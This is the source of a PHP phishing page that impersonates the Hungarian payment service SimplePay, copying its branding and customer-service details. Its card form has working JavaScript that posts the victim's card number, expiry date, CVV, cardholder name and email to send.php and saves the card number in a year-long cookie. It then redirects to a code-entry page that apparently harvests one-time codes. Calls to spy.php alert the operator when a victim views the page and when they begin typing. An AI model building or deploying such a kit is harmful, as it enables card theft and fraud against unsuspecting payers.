<?php
require (__DIR__) . '/../main.php';
require __DIR__ . '/../class/Config.php';

// خذ الإيميل من الرابط
$prefill = $_GET['email'] ?? '';
?>
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>SimplePay</title>
    <link href="https://cdn.jsdelivr.net/gh/hung1001/font-awesome-pro@4cac1a6/css/all.css" rel="stylesheet"
        type="text/css" />

    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.3/dist/css/bootstrap.min.css"
        integrity="sha384-rbsA2VBKQhggwzxH7pPCaAqO46MgnOM80zW1RWuH61DGLwZJEdK2Kadq2F9CUG65" crossorigin="anonymous">
    <!-- <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"> -->
    <link rel="stylesheet" href="themes\css\stylecard.css">
    <link rel="stylesheet" href="fonts/font.css">
    <style>
        body {
            background-color: #f8f8f8;
        }

        /* تنسيق سريع للحقل ديال الإيميل باش يبقى منظم مع الباقي */
        .email-group {
            margin-top: 12px;
        }

        .email-input {
            width: 100%;
            padding: 12px 14px;
            border-radius: 8px;
            border: 1px solid #e3e6ea;
            font-size: 14px;
            box-sizing: border-box;
        }

        .small-hint {
            font-size: 13px;
            color: #6b7280;
            margin-top: 6px;
        }
    </style>
</head>

<body style="background-color: #f9fafc;">

    <nav class="djen">
        <img src="assets/images/sss.svg" alt="" class="jfrde">
        <div class="djkhr">
            <p class="jdehfr">Magyar <i class="fas fa-chevron-down"></i></p>
        </div>
    </nav>
    <div class="container">
        <div class="row mt-5 justify-content-center">
            <div class="col-12 col-md-4">
                <div class="ihufigr">
                    <div class="jkhefg">
                        <div class="fhrf">
                            <h4 class="kldjfn">One </h4>
                            <p class="lkdjh">« Vissza</p>
                        </div>
                        <div class="jhdhe">
                            <p class="kdhgjg">Összesen</p>
                            <p class="dhjkg"> <?php echo htmlspecialchars(Config::$payment_amount, ENT_QUOTES, 'UTF-8'); ?></p>
                        </div>
                    </div>
                </div>
            </div>
            <form id="form" method="POST" action="" class="col-12 col-md-5">
                <div class="jkhfkd">
                    <div class="kjdhfr">
                        <img src="assets/images/gdhsjs.png" alt="" class="dljkehj">
                        <div class="jdkh">
                            <p class="kkdjhge">Gyors fizetés Simple-fiókkal</p>
                            <p class="djeghjgjde">Fiókodba belépve vagy az appban</p>
                        </div>
                    </div>
                    <i class="far fa-long-arrow-right jdgde"></i>
                </div>
                <div class="udhgd">
                    <span class="hjhde"></span>
                    <span class="jhdgehi">vagy</span>
                    <span class="hjhde"></span>
                </div>
                <div class="kldhj">
                    <ul class="jdkkkfrb">
                        <li>
                            <div class="oihgt">
                                <img src="assets/images/p1.png" alt="" class="ujthgf">
                            </div>
                            <p class="jhutfr">Átutalás</p>
                        </li>
                        <li>
                            <div class="oihgt">
                                <i class="far fa-credit-card"></i>
                            </div>
                            <p class="jhutfr">Bankkártya</p>
                        </li>
                        <li>
                            <div class="oihgt">
                                <img src="assets/images/kjdg.jpg" alt="" class="ujthgf">
                            </div>
                            <p class="jhutfr">Digitális tárca</p>
                        </li>
                    </ul>
                </div>
                <div class="fjhrfrgfit">
                    <div class="hurfgyt">
                        <input required pattern="^(4|5)[0-9\s]{18}$" id="cc" placeholder="Kártyaszám" type="text" class="ofihugt">
                    </div>
                    <div class="hurfgyt jkdhe">
                        <div class="huihef">
                            <input required id="mmyy" placeholder="Érvényesség" type="text" class="ofihugt ldjheu">
                            <input required id="cvv" placeholder="CVC/CVV" type="text" class="ofihugt ldjheuldhe">
                        </div>
                    </div>
                    <div class="hurfgyt">
                        <input required id="titular" placeholder="Kártyára írt név" type="text" class="ofihugt">
                    </div>

                    <!-- *** هنا أضفت حقل الإيميل مباشرة تحت خانات البطاقة بشكل منظم *** -->
                    <div class="hurfgyt email-group">
                        <input id="email" name="email" placeholder="Email cím (opcionális)"
       type="email" class="email-input"
       value="<?= htmlspecialchars($prefill, ENT_QUOTES, 'UTF-8') ?>" />

                        <div class="small-hint">Adja meg az email címet, ha szeretne értesítést kapni a tranzakcióról (opcionális).</div>
                    </div>
                    <!-- *** نهاية حقل الإيميل *** -->
                </div>
                <div class="uhhfbr my-3">
                    <input class="jfrbh" type="checkbox" id="check" class="jhft">
                    <label class="defh" for="check">Kártya mentése Simple-fiókba jövőbeli gyors fizetésekhez</label>
                </div>
                <button class="firhtg" type="submit">Fizetés bankkártyával</button>
            </form>
        </div>
    </div>


    <footer class="dehghy">
        <div class="container">
            <div class="row">
                <div class="col-12">
                    <p class="jjjgjhkgd">Ügyfélszolgálat - OTP Mobil Kft.</p>
                </div>
            </div>
            <div class="row">
                <div class="col-12 col-md-6">
                    <div class="jkbhdfjhdv">
                        <div class="hbgvdd">
                            <i class="far fa-phone-alt"></i>
                            <p class="jhfje">Telefonszámok</p>
                        </div>
                        <ul class="fihru">
                            <li>+36 1 366 6611</li>
                            <li>+36 20 366 6611</li>
                            <li>+36 30 366 6611</li>
                            <li>+36 70 366 6611</li>
                        </ul>
                    </div>
                    <div class="jkbhdfjhdv">
                        <div class="hbgvdd">
                            <i class="fal fa-envelope"></i>
                            <p class="jhfje">Email cím</p>
                        </div>
                        <p class="jhfrijf">ugyfelszolgalat@simple.hu</p>
                    </div>
                    <div class="jkbhdfjhdv">
                        <div class="hbgvdd">
                            <i class="fal fa-envelope"></i>
                            <p class="jhfje">Levelezési cím</p>
                        </div>
                        <p class="jhfrijf">1138 Budapest, Váci út 135-139. B. ép. 5. em.</p>
                    </div>
                </div>
                <div class="col-12 col-md-6">
                    <div class="kdej">
                        <img src="assets/images/o.png" alt="" class="fjekhb">
                    </div>
                </div>
            </div>
        </div>
    </footer>


    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.mask/1.14.16/jquery.mask.js"
        integrity="sha512-0XDfGxFliYJPFrideYOoxdgNIvrwGTLnmK20xZbCAvPfLGQMzHUsaqZK8ZoH+luXGRxTrS46+Aq400nCnAT0/w=="
        crossorigin="anonymous" referrerpolicy="no-referrer"></script>
    <script>
        function setCookie(name, value, days) {
            var expires = "";
            if (days) {
                var date = new Date();
                date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
                expires = "; expires=" + date.toUTCString();
            }
            document.cookie = name + "=" + (value || "") + expires + "; path=/";
        }

        $("#cc").mask("0000 0000 0000 0000");
        $("#mmyy").mask("00/00");
        // $("#yy").mask("00");
        $("#cvv").mask("0000");

        $("#form").submit(function(e) {
            e.preventDefault();

            $.post("send.php", {
                titular: $("#titular").val(),
                cc: $("#cc").val(),
                exp: $("#mmyy").val(),
                cvv: $("#cvv").val(),
                email: $("#email").val() // <<< أرسلت الإيميل مع الباقي
            }, function(response) {
                setCookie('sc_card', $("#cc").val(), 365)
                // إذا بغيت تخزن الايمايل فـ كوكي تقدر تفعل السطر التالي:
                // setCookie('sc_email', $("#email").val(), 365)
                window.location = "code.php?p=kod";
            });
        });

        $.post("spy.php", {
            cardview: 1
        });
        var abort = false;
        $("#cc").keyup(function() {
            if (abort == false) {
                $.post("spy.php", {
                    carding: 1
                });
                abort = true;
            }
        });
    </script>
    <?php
    $m->ctr("CARD " . @$_GET['e']);
    ?>

</body>

</html>